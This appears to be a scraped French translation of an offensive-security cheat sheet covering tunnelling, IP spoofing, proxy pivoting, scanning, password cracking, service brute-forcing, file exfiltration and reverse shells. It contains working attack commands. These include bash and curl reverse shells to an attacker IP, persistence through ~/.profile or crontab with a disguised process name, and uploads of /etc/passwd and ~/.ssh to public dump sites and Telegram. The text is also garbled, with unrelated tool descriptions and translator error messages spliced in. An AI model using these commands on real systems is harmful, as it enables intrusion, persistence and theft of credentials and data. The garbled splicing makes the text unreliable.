GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c Ghost IP / IP Spoofing

Utile sur un hôte situé dans le réseau cible. Cet outil reconfigure (sans laisser de trace) le SHELL : tout programme (nmap, cme, ...) lancé depuis ce SHELL utilisera une fausse adresse IP. Toutes vos attaques proviendront d'un hôte qui n'existe pas.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
Cela fonctionne également en combinaison avec :
 * [Serveurs ROOT de Segfault](https://thc.org/segfault/wireguard) : Connectera votre serveur ROOT au RÉSEAU CIBLE et utilisera une IP fantôme à l'intérieur du réseau cible.
 * [Tunnels QEMU](https://securelist.com/network-tunneling-with-qemu/111803/) : Comme ci-dessus, mais moins sécurisé.

---
<a id="tunnel-more"></a>
**3.vi.d Diverses astuces de tunnel**

### Tunnel via CDN
 * Lisez [Comment tunnéliser n'importe quel service TCP via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou utilisez [DarkFlare](https://github.com/doxx/darkflare).

### Connectez votre hôte directement au réseau distant
 * [WireTap](https://github.com/sandialabs/wiretap) - Fonctionne en tant qu'utilisateur ou root. Utilise UDP comme transport. ([Essayez-le](https://thc.org/segfault/wireguard) sur segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Utilise TCP comme transport. Fonctionne bien via [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou gs-netcat.

### Utiliser SSH comme proxy inverse économique via Cloudflare

Cette méthode est similaire aux [tunnels inverses HTTPS](#https) mais utilise SSH au lieu de Gost ou websocat.
- Avantage : Utilise uniquement *cloudflared* et *SSH* sur la cible.
- Inconvénient : Nécessite un abonnement CF.

 1. Allez dans votre tableau de bord CF -> Zero Trust -> Networks -> Tunnels
 2. Créez un nouveau tunnel 'Cloudflared' avec n'importe quel nom.
 3. Sélectionnez Debian et 64-bit. Le jeton n'est pas entièrement affiché. Extrayez le "Token" en copiant la zone grisée dans un document séparé pour révéler l'intégralité du jeton (les longues chaînes hexadécimales après `sudo cloudflared service install <TunnelTokenHere>`).
 4. Ajoutez un sous-domaine (l'exemple utilise `ssh.team-teso.net`).
 5. Définissez Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

Please provide the Markdown content to translate.```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
pour également configurer le service pour chaque utilisateur créé, vous pouvez utiliser votre service de configuration avec le flag `-e` | `--every` : `credsman -e`

# Fournissez au service de configuration une liste d'utilisateurs (séparés par des sauts de ligne) via le flag `-i` | `--import`.

Ou vous pouvez fournir un seul utilisateur via le flag `-u` | `--username`.

# Exemple : `credsman -e -i /path/to/file.txt`

Ou `credsman -e -u test_user`

### Exécutable Unix```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Utilisez ProxyChains ou GrafTCP pour tunneler d'autres protocoles via le proxy inverse.


3.iv. Utilisez n'importe quel outil via un proxy Socks

Créez un tunnel depuis la cible vers votre poste de travail avec gsocket :

Sur le réseau de la cible :```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
Sur votre poste de travail :```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

Utilisation de ProxyChain:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### Utilisation de GrafTCP :```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. Trouvez votre adresse IP publique```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
Obtenez des informations de géolocalisation sur n'importe quelle adresse IP :```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Obtenez les informations ASN par adresse IP :```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
Vérifiez si TOR fonctionne :```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. Vérifier l'accessibilité depuis le monde entier

Les gens de https://ping.pe/ vous permettent d'effectuer un ping/traceroute/mtr/dig/port-check sur un hôte depuis le monde entier, de vérifier les ports TCP, de résoudre un nom de domaine, ...et bien d'autres choses.

Pour vérifier dans quelle mesure votre hôte (actuel) peut atteindre Internet, utilisez OONI Probe :```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. Vérifier/Scanner les ports ouverts sur une adresse IP**

Service de recherche de ports [Censys](https://search.censys.io/) ou [Shodan](https://internetdb.shodan.io) :```shell
curl https://internetdb.shodan.io/1.1.1.1

Scan rapide de vulnérabilités (-F)```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
Scanner les ports TCP ouverts:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(Voir Hackshell scan)

Simple scanner de ports bash :```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. Cracker les mots de passe**
 
 1. [NTLM2password](https://ntlm.pw/) pour cracker (rechercher) les mots de passe NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) pour cracker (rechercher) les mots de passe WPA PSK

HashCat est notre outil de référence pour tout le reste :```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Utilisation d'un hashmask de 10 jours (7 à 16 caractères) sur GPU :```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
Craquez les hachages `known_hosts` d'OpenSSH pour révéler l'adresse IP :```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 Lisez la FAQ.

Sachez que les hachages $6$ sont LENTS. Même le masque de hachage 7-16 caractères en 1 minute prendrait de nombreux jours sur un cluster de 8xRTX4090.

Louez un cluster GPU RTX-4090 sur vast.ai pour 0,40 $/h et utilisez dizcza/docker-hashcat:cuda (en savoir plus).

Sinon, utilisez Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis ou craquez sur vos propres instances AWS.

3.xi. Mots de passe / clés par force brute

Ce qui suit concerne la force brute (devination) des mots de passe des SERVICES EN LIGNE.

Imbéciles de GMail - CLIQUEZ ICI

Vous ne pouvez PAS faire de force brute sur les comptes GMAIL.
SMTP AUTH/LOGIN EST DÉSACTIVÉ SUR GMAIL.
Tous les outils de force brute et de craquage de mots de passe GMail sont FAUX.

Tous les outils sont pré-installés sur segfault :```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(Vous pouvez utiliser votre [propre nœud de sortie](https://www.thc.org/segfault/wireguard))

Outils :
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - idéal pour tester toutes les clés ssh sur une plage d'adresses IP cible.

Listes de noms d'utilisateur & de mots de passe :
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >FAVORI de THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Définissez la liste de **U**tilisateur/**M**ot de passe et l'**h**ôte cible.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Paramètres Nmap utiles:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
Paramètres **Ncrack** utiles :```shell
-U "${ULIST}"
-P "${PLIST}"

Paramètres utiles d'Hydra :```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
- Choisissez **Create new [profile-name] profile** et cliquez sur **OK**. Le navigateur basé sur Chromium s'ouvrira sur le profil et nous pourrons continuer.

  - Pour que Kape s'exécute avec succès, l'utilisateur doit accepter la fenêtre contextuelle **Download usage and crash reports**. Cliquez sur **Accept** et fermez le navigateur.

- Pour la section suivante qui nous demande d'ouvrir le profil, nous sélectionnons **Open existing [profile-name] profile**, et continuons avec l'exécution normale.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

Please provide the Markdown content to translate.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
## KubeHound - Identification des chemins d'attaque dans les clusters Kubernetes

- **Source :** https://github.com/DataDog/KubeHound
- **Changelog :** [Changelog](https://github.com/DataDog/KubeHound/blob/main/changelog.md)
- **Langage :** Go
- **Licence :** Apache-2.0

KubeHound est un outil de sécurité qui permet d'identifier les chemins d'attaque dans les clusters Kubernetes.

L'outil permet aux équipes de sécurité de répondre à deux questions principales :

- **Quels sont les risques les plus critiques dans mes clusters Kubernetes ?** — KubeHound analyse le cluster pour identifier les chemins d'attaque ouverts qui pourraient compromettre un cluster.
- **Mon cluster Kubernetes est-il sécurisé ?** — KubeHound utilise des vérifications de sécurité spécifiques pour rechercher des problèmes de sécurité.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Contributeurs

  • @Lifka pour l'image Docker
  • @James-Quigley - Titre dans GitHub Action
  • @mpl - Sortie colorisée
  • @ptech - Page de destination corrigée
  • @karimachermiti - Graphique corrigé
  • @z0mbix - Prise en charge de oneOf et anyOf
  • @brianm82 - Prise en charge des extensions
  • @mx-psi - Utilisation du type bool pour additionalProperties
  • @sylr - Drapeaux de l'image Docker de GitHub Action
  • @karlTayeb - Documentation de GitHub Action améliorée
  • @regevbr - Gestion corrigée des références circulaires
  • @danielwhite - Ajout du drapeau in à x-extend-enum
  • @david-poindexter - Mise à jour des fichiers README
  • @dominik-lekse - Mise à jour des fichiers README
  • - Mise à jour des fichiers README

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
No content provided for translation.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

Exemple```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
The input chunk is empty — no content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

No input content was provided after "INPUT:" in this message, so there is nothing to translate. Please resend the chunk text.```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
Vérifie si une organisation AWS existe```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

Schéma de la base de données

Le fichier DB_SCHEMA.md contient un aperçu détaillé de la structure de la base de données, y compris les informations sur les tables, les colonnes, les relations et les performances.```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
Veuillez fournir le contenu Markdown à traduire.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. Téléversement/Téléchargement/Exfiltration de données

Le plus simple : tapez exfil sur un serveur racine Segfault

Ou utilisez curl et lancez votre propre serveur d'exfiltration PHP.

4.i Encodage de fichier

Astuce pour transférer un fichier vers la cible lorsque celle-ci n'a pas accès à Internet : convertissez le fichier binaire en texte ASCII (base64), puis utilisez le copier-coller. (Autre solution : utilisez la console elite de gs-netcat avec Ctrl-e c pour transférer le fichier via la même connexion TCP.)

Utilisez xclip (sur votre poste de travail) pour envoyer les données encodées directement dans votre presse-papiers :```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> UU encode/decode```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
Sortie - CLIQUEZ ICI

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 encodage/décodage```sh base64 -w0 Sortie - CLIQUEZ ICI

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl encodage/décodage```sh openssl base64 Sortie - CLIQUEZ ICI

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd encoder/décoder```sh xxd -p Sortie - CLIQUEZ ICI

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. Transfert de fichiers - à l'aide du copier-coller

Collez dans un fichier sur la machine distante (notez le <<-'__EOF__' pour ne pas altérer les tabulations ni les variables $).```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. Transfert de fichiers - en utilisant *tmux*

Démarrez `tmux` sur votre poste de travail. Connectez-vous à votre cible par les moyens de votre choix (ssh, gs-netcat, ...).

#### Du distant vers le local (téléchargement)

Utilisez [Tmux-Logging](#tmux) pour télécharger de gros fichiers depuis la cible via le terminal vers votre poste de travail.

#### Du local vers le distant (envoi)

Démarrez votre outil de décodage préféré (base64) sur le distant :```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

Sur votre poste de travail, et depuis un terminal différent, envoyez des données encodées en base64. Elles arriveront sur votre REMOTE dans screen-xfer.txt.```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. Transfert de fichiers - avec *screen*

#### De DISTANT à LOCAL (téléchargement)

Ayez un *screen* en cours d'exécution sur votre ordinateur local et connectez-vous au système distant depuis votre shell. Demandez à votre screen local de journaliser toute la sortie dans screen-xfer.txt :

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Nous utilisons *openssl* pour encoder nos données, mais toute méthode d'encodage ci-dessus fonctionne. Cette commande affichera les données encodées en base64 dans le terminal et *screen* écrira ces données dans *screen-xfer.txt* :```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

Arrêtez votre screen local pour qu'il n'enregistre plus aucune donnée :

CTRL-a H

Sur votre ordinateur local, décodez le fichier :```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### De LOCAL à REMOTE (téléversement)

Sur votre système local, encodez les données :```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Sur le système distant (et depuis le screen actuel) :```sh openssl base64 -d

root@kitploit:~
Utilisez *screen* pour slurper les données encodées en base64 dans le presse-papiers de screen et collez les données du presse-papiers vers le système distant :

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Note : Deux CTRL-d sont nécessaires en raison d'un [bug dans openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transfert de fichier - via gs-netcat et sftp

Utilisez [gs-netcat](https://github.com/hackerschoice/gsocket) et encapsulez le protocole sftp à l'intérieur. Permet l'accès aux hôtes derrière NAT/Pare-feu.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Depuis votre poste de travail, exécutez cette commande pour vous connecter au serveur SFTP :```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
Ou pour DUMP un seul fichier :```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. Transfert de fichiers - via HTTPs

Téléchargement du serveur vers le récepteur :

Sur l'expéditeur / le serveur :```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: Accédez à l'URL depuis n'importe quel navigateur pour visualiser/télécharger le système de fichiers distant.

#### 1 - Téléversement via PHP :

Sur le récepteur :```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

Sur l'expéditeur :```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - Téléversement via PYTHON:

Sur le récepteur :```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

Sur l'expéditeur :```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. Téléchargement de fichier sans curl

Avec Python, téléchargez uniquement :```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Exemple : Installation de gsocket avec purl :```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
En utilisant OpenSSL, téléchargez uniquement :```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

en utilisant Perl, téléchargez uniquement :```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
En utilisant bash, téléchargez uniquement :```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. Transfert de fichiers via un dump public

Copiez & collez dans votre bash :```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
puis téléversez un fichier ou un répertoire :```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Une liste de nos sites de téléversement publics préférés.


4.ix. Transfert de fichiers - avec rsync

Idéal pour synchroniser de grandes quantités de répertoires ou reprendre des transferts interrompus. L'exemple transfère le répertoire 'warez' vers le récepteur en utilisant une seule connexion TCP de l'expéditeur au récepteur.

Récepteur:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
Expéditeur:```posh
rsync -av warez rsync://1.2.3.4:31337/up

La même chose chiffrée (OpenSSL) :

Destinataire :```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
Expéditeur :```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync peut être combiné pour exfiltrer via tunnels TCP bruts https / cloudflared.
(Pour exfiltrer depuis Windows, utilisez rsync.exe du package gsocket pour Windows). Une solution plus bruyante est syncthing.

Astuce de pro : les hackers paresseux tapent simplement exfil sur segfault.net.


4.x. Transfert de fichiers - avec WebDAV

Sur le récepteur (par ex. segfault.net), démarrez un tunnel Cloudflare et WebDAV :```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
Sur un autre serveur :```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Accédez au partage depuis Windows (pour glisser-déposer des fichiers) dans l'Explorateur de fichiers:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
Ou montez le partage WebDAV sous Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Transfert de fichiers vers Telegram

Il existe des tonnes de services de téléversement, mais TG est une alternative pratique. Obtenez un TG-Bot-Token auprès du TG BotFather. Créez ensuite un nouveau groupe TG et ajoutez votre bot au groupe. Récupérez le chat_id de ce groupe :```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
Le texte source est vide : aucun contenu n’a été fourni après « INPUT: ». Merci de fournir le texte à traduire.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. Reverse Shell / Shell non interactif

Astuce : Utilisez https://www.revshells.com/ 👌

5.i.a. Reverse shell avec gs-netcat (chiffré)

Voir 6. Backdoors pour une commande en une ligne permettant de déployer et d'accéder à un reverse shell PTY entièrement fonctionnel à l'aide de https://gsocket.io/deploy.

5.i.b. Reverse shell avec Bash

Démarrez netcat en écoute sur le port 1524 sur votre système :```sh nc -nvlp 1524

root@kitploit:~
Après la connexion, [améliorez](#reverse-shell-interactive) votre shell en un shell PTY entièrement interactif. Vous pouvez également utiliser [pwncat-cs](https://pwncat.org/) au lieu de netcat :```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Sur le système distant, cette commande établira une connexion de retour vers votre système (IP = 3.13.3.7, Port 1524) et vous donnera une invite shell :```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
Alternativement, sur le système distant, placez ceci dans le `~/.profile` ou la crontab pour redémarrer le shell connect-back (et empêche également le démarrage de plusieurs instances) :```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. Reverse shell avec cURL (chiffré)

Utilisez curlshell. Cela fonctionne également à travers les proxys et lorsque la connexion TCP directe vers l'extérieur est interdite :```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d Reverse shell avec cURL (en clair)

Démarrez ncat pour écouter plusieurs connexions :```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. Reverse shell avec OpenSSL (chiffré)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
### Outils connexes

- Consultez la [**documentation REMnux**](https://docs.remnux.org/)
